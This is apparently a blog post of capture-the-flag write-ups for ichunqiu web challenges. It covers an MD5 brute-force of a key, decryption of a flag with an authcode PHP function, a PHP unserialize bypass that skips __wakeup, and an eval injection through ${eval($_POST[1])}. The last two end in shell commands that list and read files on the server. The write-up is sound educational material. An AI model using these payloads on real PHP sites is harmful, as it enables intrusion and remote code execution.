b1cat`s

ichunqiu 上web题writeup(持续更新3)

Word count: 935Reading time: 5 min
2018/05/02

ichunqiu 上web题writeup,题目按分值从小到大排序

fuzzing

m4nage.php

show me your key

尝试get,post 提交key=1

当post时返回

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

加密了最后三位爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

strs = "qwertyuiopasdfghjklzxcvbnm1234567890"

for i in strs:
for m in strs:
for n in strs:
data = 'ichunqiu'+i+m+n
# print(data)

MD5 = hashlib.md5(data.encode('utf-8')).hexdigest()

if MD5 == '1b4167610ba3f2ac426a68488dbd89be':
print(data)
exit()

得到ichunqiu105提交

the next step: xx00xxoo.php

xx00xxoo.php

1
2
3
4
source code is in the x0.txt.Can you guess the key

the authcode(flag) is 3ff2yKHHfzzSJlU7800gwhghrMs3M0TGvElyduOJK0J1Czog/h7bz8ct1BDlPoP+b1OLojksnPGnfyt/rJ/yRd5tbmdTBnw

源码在x0.txt,给了 flag加密后的字符串

x0.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}

}

调用上面的decode函数解密

echo authcode("3ff2yKHHfzzSJlU7800gwhghrMs3M0TGvElyduOJK0J1Czog/h7bz8ct1BDlPoP+b1OLojksnPGnfyt/rJ/yRd5tbmdTBnw","DECODE",'ichunqiu105');

Hash

kkkkkk01123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';

public function __construct($file) {
$this->file = $file;
}

function __destruct() {
echo @highlight_file($this->file, true);
}

function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}

if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
//O:+4:"Demo":5:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
die('stop hacking!');
} else {

@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>

分析:

传递一个val参数,经base64解码后赋值到$val变量,之后匹配字符串是否符合o(c):数字:,是就停止,否则反序列化$val变量

一个Demo类是文件读取类,但不管接受什么文件名,unserialize() 前调用__wake_up()魔法方法去读"Gu3ss_m3_h2h2.php"

一个php的bug简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

影响范围:SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10

详解:http://www.nsoad.com/Article/exploit/20160915/vulzone-26.html

从响应头可以看到X-Powered-By: PHP/5.5.9-1ubuntu4.19 即受该漏洞影响

1
2
3
4
5
6
7
8
$e = new Demo('f15g_1s_here.php');
$a = serialize($e);
echo $a;
echo("<br />");
$a = str_replace('O:4','O:+4',$a); //用以绕过字符串匹配 [oc]:\d+:
$a = str_replace(':1:',':5:',$a); //更改对象属性个数
echo($a);
echo base64_encode($a);

?var=TzorNDoiRGVtbyI6NTp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

  • f15g_1s_here.php
1
2
3
4
5
6
7
8
<?php 
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>

传递一个val参数 经过addslashes()转义后再被单引号包裹成字符串输出

一句话eval(\$__POST[1])用复杂(花括号)语法先做变量输出绕过 即\${eval($_POST[1])

测试post: 1=phpinfo();

利用php执行系统命令函数或``查找并读取flag文件

1
2
3
4
5
6
7
8
1=echo `ls`; 
//Gu3ss_m3_h2h2.php True_F1ag_i3_Here_233.php f15g_1s_here.php index.php

1=echo `cat True_F1ag_i3_Here_233.php`;
//<?php
//$flag = 'flag{391c8733-fe06-4f9d-a508-7abc4ad04e40}';
//?>

CATALOG
  1. 1. fuzzing
  2. 2. Hash